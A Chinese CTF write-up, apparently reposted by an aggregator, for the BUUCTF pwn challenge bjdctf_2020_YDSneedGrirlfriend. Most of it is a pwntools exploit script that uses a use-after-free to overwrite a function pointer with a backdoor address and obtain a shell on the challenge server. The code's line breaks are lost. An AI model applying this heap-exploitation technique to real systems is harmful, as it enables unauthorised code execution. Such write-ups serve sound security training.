BUUCTF (pwn) bjdctf_2020_YDSneedGrirlfriend(UAF)
生活随笔
收集整理的這篇文章主要介紹了
BUUCTF (pwn) bjdctf_2020_YDSneedGrirlfriend(UAF)
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
這道題知識點,題型與 actf_2019_babyheap這道題很相似,就不寫那么詳細了,又不了解的可以去看看
菜單
后門
EXP
from pwn import *p=remote('node3.buuoj.cn',29716)#p=process('./bjdctf_2020_YDSneedGrirlfriend')elf=ELF('./bjdctf_2020_YDSneedGrirlfriend')def add(size,name):p.sendlineafter("Your choice :",'1')p.sendlineafter("Her name size is :",str(size))p.sendlineafter("Her name is :",name)def dele(index):p.sendlineafter("Your choice :",'2')p.sendlineafter("Index :",str(index))def show(index):p.sendlineafter("Your choice :",'3')p.sendlineafter("Index :",str(index))backdoor=0x400b9cadd(0x20,'aaaa')add(0x20,'bbbb')dele(0)dele(1)add(0x10,p64(backdoor))show(0)p.interactive()總結(jié)
以上是生活随笔為你收集整理的BUUCTF (pwn) bjdctf_2020_YDSneedGrirlfriend(UAF)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Ubuntu Vmwaretools安装
- 下一篇: Ubuntu 卸载pip